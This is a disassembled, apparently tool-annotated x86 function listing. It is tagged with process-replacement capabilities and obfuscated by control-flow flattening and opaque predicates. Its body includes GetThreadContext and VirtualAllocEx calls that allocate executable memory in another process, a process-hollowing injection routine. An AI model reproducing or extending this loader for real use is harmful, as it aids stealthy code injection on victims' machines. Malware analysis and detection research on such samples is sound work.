Function at 0x10007080
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x1006e400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
add edx, 0x961f5506
sub edx, 1
sub edx, 0x961f5506
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0x494cc1dc
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x812f5d23
je 0x1000cdbc
jmp 0x100070fb
mov eax, dword [ebp - 0x130]
sub eax, 0x813ce6d4
je 0x1000be8e
jmp 0x10007111
mov eax, dword [ebp - 0x130]
sub eax, 0x81465b16
je 0x1000e705
jmp 0x10007127
mov eax, dword [ebp - 0x130]
sub eax, 0x81dc5ada
je 0x1000f3f4
jmp 0x1000713d
mov eax, dword [ebp - 0x130]
sub eax, 0x8228b0c0
je 0x1000ba22
jmp 0x10007153
mov eax, dword [ebp - 0x130]
sub eax, 0x8352353d
je 0x1000daca
jmp 0x10007169
mov eax, dword [ebp - 0x130]
sub eax, 0x83e7d6e9
je 0x1000b897
jmp 0x1000717f
mov eax, dword [ebp - 0x130]
sub eax, 0x841e09ef
je 0x1000b004
jmp 0x10007195
mov eax, dword [ebp - 0x130]
sub eax, 0x85233d59
je 0x1000f217
jmp 0x100071ab
mov eax, dword [ebp - 0x130]
sub eax, 0x852c6866
je 0x1000cc2f
jmp 0x100071c1
mov eax, dword [ebp - 0x130]
sub eax, 0x857a4b54
je 0x1000bdcc
jmp 0x100071d7
mov eax, dword [ebp - 0x130]
sub eax, 0x85a17298
je 0x1000bdbd
jmp 0x100071ed
mov eax, dword [ebp - 0x130]
sub eax, 0x85e85d1a
je 0x1000eb49
jmp 0x10007203
mov eax, dword [ebp - 0x130]
sub eax, 0x8660faf8
je 0x1000a3e6
jmp 0x10007219
mov eax, dword [ebp - 0x130]
sub eax, 0x868dbe83
je 0x1000e12b
jmp 0x1000722f
mov eax, dword [ebp - 0x130]
sub eax, 0x86f47b44
je 0x1000f4ab
jmp 0x10007245
mov eax, dword [ebp - 0x130]
sub eax, 0x87c3345e
je 0x1000e5a1
jmp 0x1000725b
mov eax, dword [ebp - 0x130]
sub eax, 0x87ca98af
je 0x10009e92
jmp 0x10007271
mov eax, dword [ebp - 0x130]
sub eax, 0x88100f23
je 0x1000b81e
jmp 0x10007287
mov eax, dword [ebp - 0x130]
sub eax, 0x881e8364
je 0x1000f625
jmp 0x1000729d
mov eax, dword [ebp - 0x130]
sub eax, 0x896906c3
je 0x1000b82d
jmp 0x100072b3
mov eax, dword [ebp - 0x130]
sub eax, 0x89794c4f
je 0x10009d4f
jmp 0x100072c9
mov eax, dword [ebp - 0x130]
sub eax, 0x89e3cd23
je 0x1000f289
jmp 0x100072df
mov eax, dword [ebp - 0x130]
sub eax, 0x8b3a49f5
je 0x1000a4f5
jmp 0x100072f5
mov eax, dword [ebp - 0x130]
sub eax, 0x8c24cdad
je 0x1000d936
jmp 0x1000730b
mov eax, dword [ebp - 0x130]
sub eax, 0x8c88ccad
je 0x1000eefd
jmp 0x10007321
mov eax, dword [ebp - 0x130]
sub eax, 0x8d431857
je 0x1000cec5
jmp 0x10007337
mov eax, dword [ebp - 0x130]
sub eax, 0x8d44db9d
je 0x1000b4a2
jmp 0x1000734d
mov eax, dword [ebp - 0x130]
sub eax, 0x8d4d450d
je 0x1000ac6f
jmp 0x10007363
mov eax, dword [ebp - 0x130]
sub eax, 0x8dcec47b
je 0x1000ed03
jmp 0x10007379
mov eax, dword [ebp - 0x130]
sub eax, 0x8e42cdec
je 0x1000ad3f
jmp 0x1000738f
mov eax, dword [ebp - 0x130]
sub eax, 0x906f4914
je 0x1000d0ce
jmp 0x100073a5
mov eax, dword [ebp - 0x130]
sub eax, 0x90fe6e5c
je 0x1000ea4d
jmp 0x100073bb
mov eax, dword [ebp - 0x130]
sub eax, 0x92e292ba
je 0x1000d163
jmp 0x100073d1
mov eax, dword [ebp - 0x130]
sub eax, 0x9354bb43
je 0x1000a73c
jmp 0x100073e7
mov eax, dword [ebp - 0x130]
sub eax, 0x9510f80e
je 0x1000bd4f
jmp 0x100073fd
mov eax, dword [ebp - 0x130]
sub eax, 0x957057ee
je 0x1000d84a
jmp 0x10007413
mov eax, dword [ebp - 0x130]
sub eax, 0x957765ef
je 0x10009d6c
jmp 0x10007429
mov eax, dword [ebp - 0x130]
sub eax, 0x9697adb8
je 0x1000b159
jmp 0x1000743f
mov eax, dword [ebp - 0x130]
sub eax, 0x9706c07c
je 0x1000a8cf
jmp 0x10007455
mov eax, dword [ebp - 0x130]
sub eax, 0x973bbd27
je 0x1000b312
jmp 0x1000746b
mov eax, dword [ebp - 0x130]
sub eax, 0x983cc8ca
je 0x1000e501
jmp 0x10007481
mov eax, dword [ebp - 0x130]
sub eax, 0x986ca61f
je 0x1000cf78
jmp 0x10007497
mov eax, dword [ebp - 0x130]
sub eax, 0x99c1ee5e
je 0x1000c647
jmp 0x100074ad
mov eax, dword [ebp - 0x130]
sub eax, 0x9ade6f27
je 0x10009de2
jmp 0x100074c3
mov eax, dword [ebp - 0x130]
sub eax, 0x9af098d8
je 0x1000eba9
jmp 0x100074d9
mov eax, dword [ebp - 0x130]
sub eax, 0x9bcd94bd
je 0x1000acad
jmp 0x100074ef
mov eax, dword [ebp - 0x130]
sub eax, 0x9bcf0ca1
je 0x10009fd9
jmp 0x10007505
mov eax, dword [ebp - 0x130]
sub eax, 0x9c72ba2c
je 0x1000df97
jmp 0x1000751b
mov eax, dword [ebp - 0x130]
sub eax, 0x9dffe753
je 0x1000af36
jmp 0x10007531
mov eax, dword [ebp - 0x130]
sub eax, 0x9e17ee53
je 0x100099f3
jmp 0x10007547
mov eax, dword [ebp - 0x130]
sub eax, 0x9f3f2fd7
je 0x1000e352
jmp 0x1000755d
mov eax, dword [ebp - 0x130]
sub eax, 0x9f8c1a3f
je 0x1000e723
jmp 0x10007573
mov eax, dword [ebp - 0x130]
sub eax, 0x9fb860bb
je 0x1000d661
jmp 0x10007589
mov eax, dword [ebp - 0x130]
sub eax, 0x9fd80dd1
je 0x1000bc14
jmp 0x1000759f
mov eax, dword [ebp - 0x130]
sub eax, 0xa0980288
je 0x1000e60b
jmp 0x100075b5
mov eax, dword [ebp - 0x130]
sub eax, 0xa0bfe171
je 0x1000f14e
jmp 0x100075cb
mov eax, dword [ebp - 0x130]
sub eax, 0xa0cb59ba
je 0x1000d51d
jmp 0x100075e1
mov eax, dword [ebp - 0x130]
sub eax, 0xa1cb49e4
je 0x1000c403
jmp 0x100075f7
mov eax, dword [ebp - 0x130]
sub eax, 0xa2cc761d
je 0x1000c9d3
jmp 0x1000760d
mov eax, dword [ebp - 0x130]
sub eax, 0xa59d3aa9
je 0x1000e3c8
jmp 0x10007623
mov eax, dword [ebp - 0x130]
sub eax, 0xa5c5a7a4
je 0x1000f697
jmp 0x10007639
mov eax, dword [ebp - 0x130]
sub eax, 0xa63b38d7
je 0x1000db5c
jmp 0x1000764f
mov eax, dword [ebp - 0x130]
sub eax, 0xa795e7c8
je 0x1000b13c
jmp 0x10007665
mov eax, dword [ebp - 0x130]
sub eax, 0xa7ff0402
je 0x1000a475
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d8dabab
mov ecx, 0xb67f3e52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dl, 1
mov eax, 0x87ca98af
mov ecx, 0x957765ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
sub edx, 0x90b0f74
sub edx, 1
add edx, 0x90b0f74
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa964bb82
mov ecx, 0x9ade6f27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001d240]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001d23c]
movss dword [eax], xmm0
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa964bb82
mov ecx, 0x45a4aa88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
sub edx, 0x9fdf4e11
sub edx, 1
add edx, 0x9fdf4e11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6d8e7543
mov ecx, 0x74f1769
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001d38c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x6532855
jmp 0x1000faba
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d224]
movss dword [eax], xmm0
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
mov edx, eax
sub edx, 0x1ff29841
sub edx, 1
add edx, 0x1ff29841
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb92bdec2
mov ecx, 0xeda76bdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d364]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x69fbd059
jmp 0x1000faba
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001d220]
movss dword [eax], xmm0
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfefbc2f3
mov ecx, 0xf2ba9e9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x2e207f2b
jmp 0x1000faba
mov dl, 1
mov eax, 0xdae26001
mov ecx, 0x4322af1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001d340]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xdae26001
jmp 0x1000faba
mov dword [ebp - 0x12c], 0xe21cae9b
jmp 0x1000faba
mov dword [ebp - 0x12c], 0xb718e6cd
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x436d6b25
jmp 0x1000faba
mov dl, 1
mov eax, 0x332a2a21
mov ecx, 0x9697adb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
sub edx, 0x67e1c41c
sub edx, 1
add edx, 0x67e1c41c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x26a34fce
mov ecx, 0x6f491484
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x332a2a21
jmp 0x1000faba
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
mov edx, eax
sub edx, 0xb42d2354
sub edx, 1
add edx, 0xb42d2354
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac31fde3
mov ecx, 0x393de21f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x896906c3
jmp 0x1000faba
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d308]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xb95976e5
jmp 0x1000faba
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d1e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d1dc]
movss dword [eax], xmm0
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
sub edx, 0xa0052d26
sub edx, 1
add edx, 0xa0052d26
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x77144212
mov ecx, 0xacc49cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d304]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x734a8c21
jmp 0x1000faba
mov dl, 1
mov eax, 0x857a4b54
mov ecx, 0xc8c62187
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x110767ae
mov ecx, 0x85a17298
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x857a4b54
jmp 0x1000faba
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d2f8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x257a00d2
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2dd09e17
mov ecx, 0xadb40539
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d2d0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2ed268cc
jmp 0x1000faba
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
mov edx, eax
add edx, 0xa01546b0
sub edx, 1
sub edx, 0xa01546b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbc4a10a
mov ecx, 0xfc83b30c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dl, 1
mov eax, 0xfa973729
mov ecx, 0xaaea8a50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001d2b4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x53ccfa08
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
add edx, 0x35887ee5
sub edx, 1
sub edx, 0x35887ee5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdbb2fabb
mov ecx, 0x72f08004
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001d2a8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2c772c02
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x6c0da0f7
jmp 0x1000faba
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d288]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d284]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d280]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x13b5675f
jmp 0x1000faba
mov dword [ebp - 0x12c], 0xda9953c6
jmp 0x1000faba
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4a400
call section..text
add esp, 8
mov eax, dword [ebp - 0x104]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x4c3fddc
jmp 0x1000faba
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0x4cd446ec
add ecx, eax
add ecx, 0x4cd446ec
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x12c], 0xe5135530
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
add edx, 0x260bf1fe
sub edx, 1
sub edx, 0x260bf1fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b1c89cb
mov ecx, 0x30709523
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x46570c4c
jmp 0x1000faba
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x623ef89d
mov ecx, 0x1bfc56b2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov edx, dword [ebp - 0xe0]
mov eax, 0x5baf0242
mov ecx, 0x25c3e46f
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x5ca8e0ee
jmp 0x1000faba
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x12c], 0xcd798722
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x7f799a66
jmp 0x1000faba
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x12c], 0xf3cedc3f
jmp 0x1000faba
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x85ebfed0
sub ecx, 8
add ecx, 0x85ebfed0
shr ecx, 1
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x12c], 0xee38449d
jmp 0x1000faba
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x12c], 0x1c13533b
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
mov edx, ecx
sub edx, 0x77d16535
sub edx, 1
add edx, 0x77d16535
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0d75919
mov ecx, 0xc041fe7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dl, byte [ebp - 0x39]
mov eax, 0xa97651c1
mov ecx, 0x9f8c1a3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x12c], 0x3fb8e80c
jmp 0x1000faba
mov ecx, dword [0x1006f728]
mov eax, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b57d48b
mov ecx, 0x70ebd5c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x1950f5f4
jmp 0x1000faba
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
mov edx, eax
add edx, 0x248ae853
sub edx, 1
sub edx, 0x248ae853
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x51d1342f
mov ecx, 0xd39abc6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
sub ecx, 0x18925edb
add ecx, eax
add ecx, 0x18925edb
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x18168e71
jmp 0x1000faba
mov eax, dword [0x1006f728]
mov ecx, dword [0x1006f724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x15c8b03c
mov ecx, 0xc61f6951
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000faba
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001d244]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xeaf263ed
jmp 0x1000faba
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001d228]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x919b8d9
jmp 0x1000faba
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001d21c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xabb1dd1d
jmp 0x1000faba
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d1f0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001d1ec]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x246095b2
jmp 0x1000faba
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d1d8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d1d4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xed8ecc95
jmp 0x1000faba
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d1ac]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x24e3d1e0
jmp 0x1000faba
mov dword [ebp - 0x12c], 0x148ac9da
jmp 0x1000faba
jmp 0x100070df